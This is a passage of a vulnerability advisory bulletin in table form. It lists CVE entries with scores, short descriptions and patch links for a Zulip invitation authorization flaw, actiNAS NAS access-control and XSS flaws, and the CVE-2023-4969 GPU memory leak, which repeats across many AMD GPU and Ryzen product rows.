Missing Authorization	25-Jan-2024	4.3	Zulip is an open-source team collaboration tool. A vulnerability in version 8.0 is similar to CVE-2023-32677, but applies to multi-use invitations, not single-use invitation links as in the prior CVE. Specifically, it applies when the installation has configured non-admins to be able to invite users and create multi-use invitations, and has also configured only admins to be able to invite users to streams. As in CVE-2023-32677, this does not let users invite new users to arbitrary streams, only to streams that the inviter can already	https://github.com/zulip/zulip/commit/0df7bd71f32f3b772e2646c6ab0d60c9b610addf, https://github.com/zulip/zulip/security/advisories/GHSA-87p9-wprh-7rm6, https://github.com/zulip/zulip/security/advisories/GHSA-mrvp-96q6-jpvc	A-ZUL-ZULI-140224/1306

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			see. Version 8.1 fixes this issue. As a workaround, administrators can limit sending of invitations down to users who also have the permission to add users to streams. **CVE ID : CVE-2024-21630**		
Affected Version(s): From (including) 8.0 Up to (excluding) 8.1					
Missing Authorization	25-Jan-2024	4.3	Zulip is an open-source team collaboration tool. A vulnerability in version 8.0 is similar to CVE-2023-32677, but applies to multi-use invitations, not single-use invitation links as in the prior CVE. Specifically, it applies when the installation has configured non-admins to be able to invite users and create multi-use invitations, and has also configured only admins to be able to invite users to streams. As in CVE-2023-32677, this does not let users invite new users to arbitrary streams, only to streams that the	https://github.com/zulip/zulip/commit/0df7bd71f32f3b772e2646c6ab0d60c9b610addf, https://github.com/zulip/zulip/security/advisories/GHSA-87p9-wprh-7rm6, https://github.com/zulip/zulip/security/advisories/GHSA-mrvp-96q6-jpvc	A-ZUL-ZULI-140224/1307

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			inviter can already see. Version 8.1 fixes this issue. As a workaround, administrators can limit sending of invitations down to users who also have the permission to add users to streams. **CVE ID : CVE-2024-21630**		
Hardware					
Vendor: actidata					
Product: actinas_sl_2u-8_rdx					
Affected Version(s): -					
Missing Authentication for Critical Function	19-Jan-2024	9.1	Improper access control on nasSvr.php in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to read and modify different types of data without authentication. **CVE ID : CVE-2023-51947**	N/A	H-ACT-ACTI-090224/1308
N/A	19-Jan-2024	7.5	A Site-wide directory listing vulnerability in /fm in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to list the files hosted by the web application.	N/A	H-ACT-ACTI-090224/1309

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-51948		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	Multiple reflected cross-site scripting (XSS) vulnerabilities in nasSvr.php in actidata actiNAS-SL-2U-8 3.2.03-SP1 allow remote attackers to inject arbitrary web script or HTML. **CVE ID : CVE-2023-51946**	N/A	H-ACT-ACTI-090224/1310
Vendor: AMD					
Product: athlon_3000g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-ATHL-090224/1311
Product: instinct_mi100					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-INST-090224/1312

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: instinct_mi210					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-INST-090224/1313
Product: instinct_mi250					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-INST-090224/1314
Product: instinct_mi300a					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-INST-090224/1315
Product: instinct_mi300x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-INST-090224/1316
Product: radeon_instinct_mi25					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1317

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_instinct_mi50					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1318
Product: radeon_pro_v520					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1319
Product: radeon_pro_v620					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1320
Product: radeon_pro_w5500x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1321
Product: radeon_pro_w5700x					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1322

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_pro_w6300m					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1323
Product: radeon_pro_w6400					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1324
Product: radeon_pro_w6500m					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1325
Product: radeon_pro_w7500					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1326
Product: radeon_pro_w7600					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1327

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_5300					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1328
Product: radeon_rx_5300m					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1329
Product: radeon_rx_5300xt					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1330
Product: radeon_rx_5500					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1331
Product: radeon_rx_5500m					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1332

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_5500xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1333
Product: radeon_rx_5600					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1334
Product: radeon_rx_5600m					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1335
Product: radeon_rx_5600xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1336
Product: radeon_rx_5700					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1337

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_5700m					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1338
Product: radeon_rx_5700xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1339
Product: radeon_rx_6800					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1340
Product: radeon_rx_6800xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1341
Product: radeon_rx_6900xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1342

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_6950xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1343
Product: radeon_rx_7600					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1344
Product: radeon_rx_7600xt					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1345
Product: radeon_rx_7700xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1346
Product: radeon_rx_7800xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1347

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_7900xt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1348
Product: radeon_rx_7900xtx					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RADE-090224/1349
Product: ryzen_3_3200g					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1350
Product: ryzen_3_3200ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1351
Product: ryzen_3_3200u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1352

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_3250c					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1353
Product: ryzen_3_3250u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1354
Product: ryzen_3_4300g					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1355
Product: ryzen_3_4300ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1356
Product: ryzen_3_4300u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1357

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_5300g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1358
Product: ryzen_3_5300ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1359
Product: ryzen_3_5300u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1360
Product: ryzen_3_7320u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1361
Product: ryzen_3_7335u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1362

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_7440u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1363
Product: ryzen_3_pro_3200g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1364
Product: ryzen_3_pro_3200ge					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1365
Product: ryzen_5_3400g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1366
Product: ryzen_5_4500u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1367

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_4600g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1368
Product: ryzen_5_4600ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1369
Product: ryzen_5_4600h					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1370
Product: ryzen_5_4600hs					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1371
Product: ryzen_5_4600u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1372

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_4680u					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1373
Product: ryzen_5_5500gt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1374
Product: ryzen_5_5500u					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1375
Product: ryzen_5_5600g					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1376
Product: ryzen_5_5600ge					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1377

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			memory_ on various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_5_5600gt					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1378
Product: ryzen_5_6600h					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	H-AMD-RYZE-090224/1379
Product: ryzen_5_6600hs					
Affected Version(s): -					

